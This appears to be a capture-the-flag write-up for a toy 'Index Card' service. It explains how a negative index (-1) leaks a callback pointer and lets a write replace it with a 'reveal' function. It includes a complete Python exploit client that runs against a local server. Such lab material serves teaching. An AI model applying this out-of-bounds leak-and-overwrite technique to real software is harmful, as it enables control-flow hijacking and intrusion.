The service
Index Card manages four 16 byte cards with read N, write N HEX, and run. It rejects indexes greater than three. The lower bound check is wrong: index -1 selects a 16 byte metadata block before card zero. The local service implements that indexing behavior.
Index Card
> read -1
card=... [16 bytes as hex]
> write -1 ...
saved
> run
Memory layout
The metadata block contains two little endian words. The first is the view callback at offset 0x1390 from the binary base. The second is a state value that must stay intact. reveal is at offset 0x11d0. Reading slot -1 supplies both the leak and the state word.
| Bytes | Meaning | Action |
|---|---|---|
| 0–7 | view callback | Replace with reveal |
| 8–15 | State word | Copy unchanged |
Solve path
- Read card
-1and decode the 16 hex encoded bytes. - Unpack both words with
u64. - Subtract
0x1390fromviewto get the base; add0x11d0forreveal. - Write the new callback and original state back to slot
-1. - Run the callback.
replacement = p64(reveal) + p64(state)
command(sock, b"write -1 " + replacement.hex().encode())
print(command(sock, b"run"))Preserving the state word matters: changing only the callback in a 16 byte write would zero the rest of the metadata.
Run it locally
python3 index_card_server.py 127.0.0.1 31340
python3 index_card.py 127.0.0.1 31340Start the service in one terminal, then run the client in another. Both use the Python standard library.
Complete client
import socket
import struct
import sys
p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]
VIEW_OFFSET = 0x1390
REVEAL_OFFSET = 0x11d0
def read_until(sock, marker):
data = bytearray()
while not data.endswith(marker):
part = sock.recv(1)
if not part:
raise ConnectionError("connection closed")
data.extend(part)
return bytes(data)
def command(sock, text):
read_until(sock, b"> ")
sock.sendall(text + b"\n")
return read_until(sock, b"\n").strip()
def main(host, port):
with socket.create_connection((host, port), timeout=3) as sock:
read_until(sock, b"\n")
answer = command(sock, b"read -1")
raw = bytes.fromhex(answer.split(b"=", 1)[1].decode())
if len(raw) != 16:
raise ValueError("unexpected card length")
view = u64(raw[:8])
state = u64(raw[8:16])
base = view - VIEW_OFFSET
reveal = base + REVEAL_OFFSET
print("view", hex(view), "reveal", hex(reveal))
replacement = p64(reveal) + p64(state)
print(command(sock, b"write -1 " + replacement.hex().encode()).decode())
print(command(sock, b"run").decode(errors="replace"))
if __name__ == "__main__":
if len(sys.argv) != 3:
raise SystemExit("usage: python3 index_card.py HOST PORT")
main(sys.argv[1], int(sys.argv[2]))